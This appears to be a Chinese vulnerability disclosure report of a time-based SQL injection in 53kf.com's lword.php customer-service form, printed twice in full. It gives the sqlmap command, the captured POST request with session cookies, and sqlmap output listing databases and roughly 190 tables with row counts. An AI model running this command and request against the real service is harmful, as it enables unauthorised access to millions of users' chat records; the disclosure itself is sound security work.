### 简要描述：
RT
### 详细说明：
```
post注入语法：sqlmap.py -r 6.txt -D talk --count --tables 延迟注入慢的不行跑了25小时左右
======================数据包=========================
POST /lword.php HTTP/1.1
Host: www5.53kf.com
Proxy-Connection: keep-alive
Content-Length: 364
Origin: http://www5.53kf.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
CONTENT-TYPE: application/x-www-form-urlencoded
Accept: */*
Referer: http://www5.53kf.com/webCompany.php?arg=9004997&style=1
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: unique_ip_revisit70755185=1461192341; guest_id=10118457428009; land_page_72060147=http%3A%2F%2Fmall.lqxshop.com%2F; unique_ip_revisit72060147=1461358101; land_page_72032248=http%3A%2F%2Fwww.jyh.com%2F; unique_ip_72032248=115.214.46.134; unique_ip_revisit72032248=1461428941; _yd_=GA1.2.343522085.1461434523; Hm_lvt_3a5b4ba61a6b3219159606ddf5c41001=1461434523; Hm_lpvt_3a5b4ba61a6b3219159606ddf5c41001=1461434788; land_page_70865058=http%3A%2F%2Fwww.602.com%2Fkefu%2Fonlinekf%2F; hz6d_open_talk_70865058=1; guest_id=10118457428009; YGXSID=pt2qvomm1p99l0lgg7ui5ss6a2; customer_service_language=cn
action=import&company_id=70865058&tempid=53981272905&guest_id=10118457428009&referer=http://www.602.com/kefu/onlinekf/&referer1=&ly_mode=3&ly_object=&hasrobot=1&talk_his_table=talk_his_d51&message_table=message_d51&ly_name=111&ly_email=313131%40qq.com&ly_phone=13655555555&ly_qq=1&ly_company=111111&ly_check_num=ey46&ly_first=true&iscard=0&m_lyszc=on&ly_content=11
```
数据库信息
```
available databases [4]:
[*] information_schema
[*] ip
[*] talk
[*] test
```
当前库表信息
```
Database: talk
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| cus_user | 7587356 |
| chat_worker | 5445630 |
| message_d17 | 3731202 |
| statistic_mobile | 2441059 |
| message | 2298431 |
| message_d9 | 2148873 |
| message_d4 | 1988625 |
| message_d2 | 1808583 |
| message_d44 | 1777645 |
| stat_place | 1744358 |
| imessage | 1743501 |
| operate_log | 1593692 |
| message_d1 | 1487943 |
| message_d6 | 1474119 |
| message_d3 | 1385246 |
| message_d5 | 1314770 |
| message_d18 | 1126727 |
| quality_tj | 1044778 |
| message_d7 | 940082 |
| message_d42 | 910868 |
| message_d8 | 904577 |
| message_d51 | 826831 |
| message_d15 | 765361 |
| message_d29 | 678242 |
| message_d41 | 668929 |
| message_d37 | 657905 |
| talk_his_d17 | 639533 |
| talk_his_d4 | 629101 |
| talk_his | 586510 |
| cyy | 581547 |
| talk_his_d18 | 567066 |
| message_d21 | 555186 |
| company_config | 545814 |
| message_d23 | 528215 |
| message_d40 | 527550 |
| talk_his_d1 | 489171 |
| message_d25 | 483640 |
| message_d34 | 468168 |
| message_d26 | 457966 |
| msg_reply | 439597 |
| talk_his_d2 | 428249 |
| message_d19 | 428055 |
| message_d22 | 418819 |
| message_d43 | 393074 |
| message_d35 | 390498 |
| message_d10 | 387334 |
| link | 369830 |
| message_d12 | 369510 |
| sync_cus_user | 324439 |
| message_d47 | 315373 |
| message_d49 | 312978 |
| message_d11 | 312933 |
| message_d45 | 280488 |
| talk_his_d3 | 267285 |
| message_d39 | 252048 |
| message_d30 | 247659 |
| message_d27 | 245866 |
| worker_config | 241491 |
| message_d20 | 219202 |
| stat_to | 209362 |
| message_d13 | 206778 |
| talk_his_d40 | 195220 |
| talk_his_d19 | 188558 |
| message_d36 | 181096 |
| message_d38 | 173975 |
| message_d14 | 170788 |
| talk_his_d21 | 167693 |
| talk_his_d37 | 161604 |
| chat_nation | 159047 |
| file | 154214 |
| talk_his_d10 | 153588 |
| message_d24 | 150784 |
| talk_his_d23 | 145574 |
| talk_his_d29 | 134416 |
| talk_his_d22 | 126111 |
| talk_his_d15 | 120870 |
| message_d16 | 101893 |
| talk_his_d25 | 98135 |
| talk_his_d11 | 94796 |
| message_d33 | 90019 |
| talk_his_d27 | 89377 |
| talk_his_d39 | 89312 |
| block_user | 86269 |
| talk_his_d20 | 83174 |
| message_d28 | 80430 |
| talk_his_d26 | 77679 |
| message_d52 | 77008 |
| zsk_noanswer | 75277 |
| talk_his_d36 | 68745 |
| message_d53 | 67881 |
| cus_bill | 65664 |
| talk_his_d35 | 64107 |
| talk_his_d13 | 62955 |
| cyy_group | 61874 |
| message_d46 | 60569 |
| talk_his_d34 | 52756 |
| talk_his_d12 | 52166 |
| talk_his_d28 | 38660 |
| talk_his_d14 | 37929 |
| cus_web_msg | 37392 |
| message_d50 | 36374 |
| talk_his_d30 | 36115 |
| message_d32 | 34785 |
| worker | 34396 |
| talk_his_d24 | 32012 |
| talk_his_d38 | 29346 |
| talk_his_d16 | 25001 |
| message_d31 | 21752 |
| company_style | 20888 |
| company | 17999 |
| talk_his_d33 | 17473 |
| autoreply | 13039 |
| talk_his_d53 | 12826 |
| identity_role_id | 12765 |
| inner_identity | 12625 |
| module_new | 11552 |
| talk_his_d46 | 11188 |
| kfassign_group_worker | 10913 |
| sms_lword | 10441 |
| talk_his_d52 | 10123 |
| `identity` | 9942 |
| message_d48 | 9181 |
| talk_his_d32 | 9129 |
| worker_group | 7837 |
| kfassign_group | 7782 |
| talk_quality | 7514 |
| zsk_key | 6517 |
| temp_download_cus_user | 5921 |
| temp_download_statistic_nation | 4511 |
| temp_download_statistic_place | 4146 |
| talk_his_d31 | 3564 |
| talk_his_d50 | 3505 |
| talk_his_d41 | 3491 |
| zsk_question | 3319 |
| talk_his_d48 | 3249 |
| company_ad | 3140 |
| area_kf | 2819 |
| wechat_guest | 2388 |
| talk_theme | 1554 |
| weixin_config | 1417 |
| cus_theme | 1187 |
| zsk_category | 756 |
| temp_download_statistic | 705 |
| sms_config | 669 |
| robot_mem | 621 |
| temp_download_message | 526 |
| temp_download_chat_worker | 420 |
| cus_link | 362 |
| robot_hot | 258 |
| face | 256 |
| robot | 236 |
| cus_mail | 193 |
| temp_download_stat_place | 167 |
| cus_group | 157 |
| kf_group | 149 |
| email | 148 |
| logo | 144 |
| talk_weixin | 141 |
| temp_download_talk_his | 111 |
| mailqueue | 101 |
| image | 76 |
| company_tinet | 67 |
| chat_tables | 54 |
| wmenu | 46 |
| kf_group_newthing | 44 |
| temp_download_statistic_from | 44 |
| account_switch | 38 |
| temp_download_statistic_net | 26 |
| sys_notify | 24 |
| company_tinet_cno | 23 |
| kf_group_upload | 14 |
| daemonlog_recv | 11 |
| daemonlog_send | 11 |
| mail_template | 11 |
| wechat_robot_question | 8 |
| etel_logo | 6 |
| temp_download_worker | 6 |
| sph_counter | 2 |
| download_job | 1 |
| err_infos | 1 |
+--------------------------------+---------+
```
表字段 数据信息就不跑了吧
### 漏洞证明：
```
post注入语法：sqlmap.py -r 6.txt -D talk --count --tables 延迟注入慢的不行跑了25小时左右
======================数据包=========================
POST /lword.php HTTP/1.1
Host: www5.53kf.com
Proxy-Connection: keep-alive
Content-Length: 364
Origin: http://www5.53kf.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
CONTENT-TYPE: application/x-www-form-urlencoded
Accept: */*
Referer: http://www5.53kf.com/webCompany.php?arg=9004997&style=1
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: unique_ip_revisit70755185=1461192341; guest_id=10118457428009; land_page_72060147=http%3A%2F%2Fmall.lqxshop.com%2F; unique_ip_revisit72060147=1461358101; land_page_72032248=http%3A%2F%2Fwww.jyh.com%2F; unique_ip_72032248=115.214.46.134; unique_ip_revisit72032248=1461428941; _yd_=GA1.2.343522085.1461434523; Hm_lvt_3a5b4ba61a6b3219159606ddf5c41001=1461434523; Hm_lpvt_3a5b4ba61a6b3219159606ddf5c41001=1461434788; land_page_70865058=http%3A%2F%2Fwww.602.com%2Fkefu%2Fonlinekf%2F; hz6d_open_talk_70865058=1; guest_id=10118457428009; YGXSID=pt2qvomm1p99l0lgg7ui5ss6a2; customer_service_language=cn
action=import&company_id=70865058&tempid=53981272905&guest_id=10118457428009&referer=http://www.602.com/kefu/onlinekf/&referer1=&ly_mode=3&ly_object=&hasrobot=1&talk_his_table=talk_his_d51&message_table=message_d51&ly_name=111&ly_email=313131%40qq.com&ly_phone=13655555555&ly_qq=1&ly_company=111111&ly_check_num=ey46&ly_first=true&iscard=0&m_lyszc=on&ly_content=11
```
数据库信息
```
available databases [4]:
[*] information_schema
[*] ip
[*] talk
[*] test
```
当前库表信息
```
Database: talk
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| cus_user | 7587356 |
| chat_worker | 5445630 |
| message_d17 | 3731202 |
| statistic_mobile | 2441059 |
| message | 2298431 |
| message_d9 | 2148873 |
| message_d4 | 1988625 |
| message_d2 | 1808583 |
| message_d44 | 1777645 |
| stat_place | 1744358 |
| imessage | 1743501 |
| operate_log | 1593692 |
| message_d1 | 1487943 |
| message_d6 | 1474119 |
| message_d3 | 1385246 |
| message_d5 | 1314770 |
| message_d18 | 1126727 |
| quality_tj | 1044778 |
| message_d7 | 940082 |
| message_d42 | 910868 |
| message_d8 | 904577 |
| message_d51 | 826831 |
| message_d15 | 765361 |
| message_d29 | 678242 |
| message_d41 | 668929 |
| message_d37 | 657905 |
| talk_his_d17 | 639533 |
| talk_his_d4 | 629101 |
| talk_his | 586510 |
| cyy | 581547 |
| talk_his_d18 | 567066 |
| message_d21 | 555186 |
| company_config | 545814 |
| message_d23 | 528215 |
| message_d40 | 527550 |
| talk_his_d1 | 489171 |
| message_d25 | 483640 |
| message_d34 | 468168 |
| message_d26 | 457966 |
| msg_reply | 439597 |
| talk_his_d2 | 428249 |
| message_d19 | 428055 |
| message_d22 | 418819 |
| message_d43 | 393074 |
| message_d35 | 390498 |
| message_d10 | 387334 |
| link | 369830 |
| message_d12 | 369510 |
| sync_cus_user | 324439 |
| message_d47 | 315373 |
| message_d49 | 312978 |
| message_d11 | 312933 |
| message_d45 | 280488 |
| talk_his_d3 | 267285 |
| message_d39 | 252048 |
| message_d30 | 247659 |
| message_d27 | 245866 |
| worker_config | 241491 |
| message_d20 | 219202 |
| stat_to | 209362 |
| message_d13 | 206778 |
| talk_his_d40 | 195220 |
| talk_his_d19 | 188558 |
| message_d36 | 181096 |
| message_d38 | 173975 |
| message_d14 | 170788 |
| talk_his_d21 | 167693 |
| talk_his_d37 | 161604 |
| chat_nation | 159047 |
| file | 154214 |
| talk_his_d10 | 153588 |
| message_d24 | 150784 |
| talk_his_d23 | 145574 |
| talk_his_d29 | 134416 |
| talk_his_d22 | 126111 |
| talk_his_d15 | 120870 |
| message_d16 | 101893 |
| talk_his_d25 | 98135 |
| talk_his_d11 | 94796 |
| message_d33 | 90019 |
| talk_his_d27 | 89377 |
| talk_his_d39 | 89312 |
| block_user | 86269 |
| talk_his_d20 | 83174 |
| message_d28 | 80430 |
| talk_his_d26 | 77679 |
| message_d52 | 77008 |
| zsk_noanswer | 75277 |
| talk_his_d36 | 68745 |
| message_d53 | 67881 |
| cus_bill | 65664 |
| talk_his_d35 | 64107 |
| talk_his_d13 | 62955 |
| cyy_group | 61874 |
| message_d46 | 60569 |
| talk_his_d34 | 52756 |
| talk_his_d12 | 52166 |
| talk_his_d28 | 38660 |
| talk_his_d14 | 37929 |
| cus_web_msg | 37392 |
| message_d50 | 36374 |
| talk_his_d30 | 36115 |
| message_d32 | 34785 |
| worker | 34396 |
| talk_his_d24 | 32012 |
| talk_his_d38 | 29346 |
| talk_his_d16 | 25001 |
| message_d31 | 21752 |
| company_style | 20888 |
| company | 17999 |
| talk_his_d33 | 17473 |
| autoreply | 13039 |
| talk_his_d53 | 12826 |
| identity_role_id | 12765 |
| inner_identity | 12625 |
| module_new | 11552 |
| talk_his_d46 | 11188 |
| kfassign_group_worker | 10913 |
| sms_lword | 10441 |
| talk_his_d52 | 10123 |
| `identity` | 9942 |
| message_d48 | 9181 |
| talk_his_d32 | 9129 |
| worker_group | 7837 |
| kfassign_group | 7782 |
| talk_quality | 7514 |
| zsk_key | 6517 |
| temp_download_cus_user | 5921 |
| temp_download_statistic_nation | 4511 |
| temp_download_statistic_place | 4146 |
| talk_his_d31 | 3564 |
| talk_his_d50 | 3505 |
| talk_his_d41 | 3491 |
| zsk_question | 3319 |
| talk_his_d48 | 3249 |
| company_ad | 3140 |
| area_kf | 2819 |
| wechat_guest | 2388 |
| talk_theme | 1554 |
| weixin_config | 1417 |
| cus_theme | 1187 |
| zsk_category | 756 |
| temp_download_statistic | 705 |
| sms_config | 669 |
| robot_mem | 621 |
| temp_download_message | 526 |
| temp_download_chat_worker | 420 |
| cus_link | 362 |
| robot_hot | 258 |
| face | 256 |
| robot | 236 |
| cus_mail | 193 |
| temp_download_stat_place | 167 |
| cus_group | 157 |
| kf_group | 149 |
| email | 148 |
| logo | 144 |
| talk_weixin | 141 |
| temp_download_talk_his | 111 |
| mailqueue | 101 |
| image | 76 |
| company_tinet | 67 |
| chat_tables | 54 |
| wmenu | 46 |
| kf_group_newthing | 44 |
| temp_download_statistic_from | 44 |
| account_switch | 38 |
| temp_download_statistic_net | 26 |
| sys_notify | 24 |
| company_tinet_cno | 23 |
| kf_group_upload | 14 |
| daemonlog_recv | 11 |
| daemonlog_send | 11 |
| mail_template | 11 |
| wechat_robot_question | 8 |
| etel_logo | 6 |
| temp_download_worker | 6 |
| sph_counter | 2 |
| download_job | 1 |
| err_infos | 1 |
+--------------------------------+---------+
```
表字段 数据信息就不跑了吧
京公网安备 11010502034610号
Unavailable Comments